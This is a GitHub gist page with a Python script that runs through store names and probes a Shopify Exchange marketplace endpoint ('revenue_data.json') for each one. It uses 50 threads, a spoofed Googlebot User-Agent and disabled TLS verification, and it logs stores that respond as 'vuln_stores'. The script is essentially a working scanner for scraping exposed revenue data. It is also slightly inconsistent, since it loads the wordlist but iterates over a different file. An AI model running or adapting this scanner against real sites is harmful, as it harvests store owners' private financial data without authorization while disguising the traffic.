-
-
Save faidamine/826d474887179aa5e82f1eeb679a24d7 to your computer and use it in GitHub Desktop.
Given a wordlist this will look for revenue data of shopify stores
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import requests | |
import bs4 as bs | |
from concurrent.futures import ThreadPoolExecutor | |
from concurrent.futures import ProcessPoolExecutor | |
try: | |
import requests.packages.urllib3 | |
requests.packages.urllib3.disable_warnings() | |
except Exception: | |
pass | |
_headers = { | |
'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)', | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', | |
} | |
def almostvuln(StoreName): | |
POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format( | |
StoreName) | |
try: | |
_Response = requests.get( | |
POC_URL, | |
headers=_headers, | |
verify=False, | |
allow_redirects=True) | |
if _Response.status_code in [200, 304]: | |
vuln_stores.append(StoreName) | |
print(StoreName) | |
elif _Response.status_code == 404: | |
pass | |
else: | |
print(_Response.status_code) | |
except BaseException: | |
pass | |
return vuln_stores | |
if __name__ == '__main__': | |
try: | |
shops = [line.rstrip('\n') for line in open('wordlist.txt')] | |
vuln_stores = [line.rstrip('\n') for line in open('shops.txt')] | |
with ThreadPoolExecutor(max_workers=50) as executor1: | |
executor1.map(almostvuln, vuln_stores) | |
except KeyboardInterrupt: | |
print("") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment